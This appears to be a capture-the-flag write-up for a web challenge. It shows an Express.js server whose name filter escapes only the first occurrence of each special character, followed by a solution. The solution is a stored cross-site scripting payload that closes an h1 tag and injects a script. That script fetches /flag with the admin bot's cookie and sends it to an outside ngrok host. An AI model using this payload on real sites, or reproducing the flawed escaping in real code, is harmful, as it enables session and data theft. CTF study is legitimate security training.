Clam was intensely brainstorming new challenge ideas, when his stomach growled! He opened his favorite tin of salty sardines, took a bite out of them, and then got a revolutionary new challenge idea. What if he wrote a site with an extremely suggestive acronym?
Source
constexpress=require("express");constpath=require("path");constfs=require("fs");constcookieParser=require("cookie-parser");constapp=express();constport=Number(process.env.PORT) ||8080;constsardines= {};constalpha="abcdefghijklmnopqrstuvwxyz";constsecret=process.env.ADMIN_SECRET||"secretpw";constflag=process.env.FLAG||"actf{placeholder_flag}";functiongenId() {let ret ="";for (let i =0; i <10; i++) { ret += alpha[Math.floor(Math.random() *alpha.length)]; }return ret;}app.use(express.urlencoded({ extended:false }));app.use(cookieParser());// the admin bot will be able to access thisapp.get("/flag", (req, res) => {if (req.cookies.secret === secret) {res.send(flag); } else {res.send("you can't view this >:("); }});app.post("/mksardine", (req, res) => {if (!req.body.name) {res.status(400).type("text/plain").send("please include a name");return; }// no pesky chars allowedconstname=req.body.name.replace("&","&").replace('"',""").replace("'","'").replace("<","<").replace(">",">");if (name.length===0||name.length>2048) {res.status(400).type("text/plain").send("sardine name must be 1-2048 chars");return; }constid=genId(); sardines[id] = name;res.redirect("/sardines/"+ id);});app.get("/", (req, res) => {res.sendFile(path.join(__dirname,"index.html"));});app.get("/sardines/:sardine", (req, res) => {constname= sardines[req.params.sardine];if (!name) {res.status(404).type("text/plain").send("sardine not found :(");return; }constsardine= fs.readFileSync(path.join(__dirname,"sardine.html"),"utf8").replaceAll("$NAME",name.replaceAll("$","$$$$"));res.type("text/html").send(sardine);});app.listen(port, () => {console.log(`Server listening on port ${port}.`);});
Solution
<!-- 1. Provide special chars "'&<> to bypass filter (since they're only checked once) 2. Close off the h1 tag 3. Fetch /flag and send the response to ngrok (requestbin, webhook etc)-->"'&<></h1><script>fetch('/flag').then(r => { r.text().then(t => { fetch('https://0e00-81-103-153-174.ngrok.io/?flag=' + btoa(t), { 'mode': 'no-cors' }) }) })</script>